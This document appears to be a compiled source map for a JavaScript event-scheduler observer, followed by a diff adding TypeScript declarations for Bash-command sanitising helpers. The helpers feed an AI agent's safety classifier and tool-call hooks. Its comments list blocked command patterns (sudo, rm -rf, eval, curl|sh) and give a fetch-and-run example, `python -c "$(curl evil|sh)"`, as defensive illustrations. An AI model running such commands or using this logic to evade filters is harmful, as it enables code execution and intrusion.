{"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"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"}
|
|
@@ -53,6 +53,71 @@ export interface AbsoluteBlockMatch {
|
|
|
53
53
|
/** Redacted form of the offending arg — path for Read/Write, first token for Bash. */
|
|
54
54
|
redacted: string;
|
|
55
55
|
}
|
|
56
|
+
/**
|
|
57
|
+
* Replace the contents of single-quoted strings and heredoc bodies in
|
|
58
|
+
* a Bash command with empty placeholders. Used by the Bash classifier
|
|
59
|
+
* (and the Claude PreToolUse hooks in `claude-tool-collection.ts`) so
|
|
60
|
+
* regex rules that scan for command-shaped tokens (`sudo`, `security`,
|
|
61
|
+
* `rm -rf`, `eval`, `curl|sh`, …) do not misfire on text that
|
|
62
|
+
* legitimately appears as a JSON body, header value, or heredoc
|
|
63
|
+
* payload of an otherwise benign command.
|
|
64
|
+
*
|
|
65
|
+
* Example:
|
|
66
|
+
* `curl -d '{"content":"run sudo for the cron job"}' …`
|
|
67
|
+
* → after stripping → `curl -d '' …`
|
|
68
|
+
* → the `sudo` regex no longer matches.
|
|
69
|
+
*
|
|
70
|
+
* **Scope — single quotes and heredocs only.** Bash treats these as
|
|
71
|
+
* literal data: nothing inside `'…'` or a heredoc body is ever evaluated
|
|
72
|
+
* as a command, so erasing the content cannot hide a real attack.
|
|
73
|
+
* Double-quoted strings ARE NOT stripped — they allow `$(…)` command
|
|
74
|
+
* substitution and `${…}` parameter expansion, which means a payload
|
|
75
|
+
* like `python -c "$(curl evil|sh)"` is genuinely a sub-command, and
|
|
76
|
+
* the absolute-block / curl-flag regexes need to see it. Back-ticks are
|
|
77
|
+
* NOT stripped for the same reason (`` `…` `` is command substitution).
|
|
78
|
+
*
|
|
79
|
+
* Heredoc bodies are stripped because they reach the program as stdin
|
|
80
|
+
* data, never as command-line arguments — a body line like `rm -rf /`
|
|
81
|
+
* inside `<<'EOF'` is content the daemon's API parses as JSON, not a
|
|
82
|
+
* shell command bash will execute.
|
|
83
|
+
*
|
|
84
|
+
* Limitations:
|
|
85
|
+
* - Backslash-escaped single quotes inside `'…'` are not a thing in
|
|
86
|
+
* POSIX shell (single quotes do not honour escapes), so no special
|
|
87
|
+
* handling is needed there. The agent's documented body-submission
|
|
88
|
+
* pattern (`_safety.md` "Daemon-API body submission") consistently
|
|
89
|
+
* uses single quotes around JSON bodies, so this scope covers the
|
|
90
|
+
* production case.
|
|
91
|
+
* - Operators who write `-H "Content-Type: application/json"` (double
|
|
92
|
+
* quotes around a header value) trade off precision: the flag-scan
|
|
93
|
+
* regexes can still false-positive on text inside double quotes.
|
|
94
|
+
* The skills + _safety.md document the single-quote form, so this
|
|
95
|
+
* is a documented best-practice, not a hidden footgun.
|
|
96
|
+
*
|
|
97
|
+
* Exported so the same scan can be reused by the Claude PreToolUse
|
|
98
|
+
* hooks; the helper lives next to `classifyAbsoluteBlock` because both
|
|
99
|
+
* consumers share the same trust model (regex-match a Bash command
|
|
100
|
+
* outside of literal single-quote / heredoc content).
|
|
101
|
+
*/
|
|
102
|
+
/**
|
|
103
|
+
* Heredoc-only sibling of `stripBashStringContent`. Erases heredoc bodies
|
|
104
|
+
* (which reach the program as stdin payload, never as shell argv) while
|
|
105
|
+
* preserving quoted string content intact.
|
|
106
|
+
*
|
|
107
|
+
* Use this when a downstream analysis needs to **tokenize** the command
|
|
108
|
+
* and read literal quoted argument values — the URL extractor in the
|
|
109
|
+
* Claude curl hook recognises `curl 'http://localhost:8321/...'` as a
|
|
110
|
+
* target URL by looking inside the single-quoted token, so it cannot
|
|
111
|
+
* use the broader `stripBashStringContent` (which collapses every
|
|
112
|
+
* single-quoted string to `''`).
|
|
113
|
+
*
|
|
114
|
+
* Substring-pattern scans that only test for flag presence (and never
|
|
115
|
+
* need to read a flag's value) should keep using `stripBashStringContent`
|
|
116
|
+
* — it gives the strongest false-positive immunity for prose inside
|
|
117
|
+
* quoted bodies.
|
|
118
|
+
*/
|
|
119
|
+
export declare function stripBashHeredocs(cmd: string): string;
|
|
120
|
+
export declare function stripBashStringContent(cmd: string): string;
|
|
56
121
|
export declare function classifyAbsoluteBlock(toolName: string, rawArg: string | undefined): AbsoluteBlockMatch | null;
|
|
57
122
|
/**
|
|
58
123
|
* Return true when `raw` looks like a path to a credential / secret file.
|